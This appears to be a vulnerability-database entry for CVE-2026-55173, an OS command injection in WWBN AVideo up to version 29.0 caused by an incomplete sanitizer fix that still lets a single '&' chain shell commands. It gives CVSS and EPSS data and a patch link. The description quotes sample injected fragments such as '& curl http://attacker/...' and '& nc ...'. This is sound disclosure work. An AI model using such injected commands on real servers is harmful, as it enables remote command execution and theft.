High severity · published Jul 16, 2026
CVE-2026-55173
AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
8.1
CVSS
2.7%
EPSS
No
On KEV
Description
WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack vector
Network
Complexity
High
Privileges
None
User interaction
None
Confidentiality
High
Integrity
High
Availability
High
Scope
Unchanged
Exploitation
Is it being used?
Exploit prediction (EPSS)2.7% · higher than 86% of CVEs
Exploited in the wildNo evidence yet
CISA KEVNot listed
Ransomware campaign useNot known
Affected products
Which versions
AV
AVideo · WWBN
<= 29.0 · source: vendor
References
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-55173
CVE.org
https://www.cve.org/CVERecord?id=CVE-2026-55173
github.com
https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f
github.com
https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f
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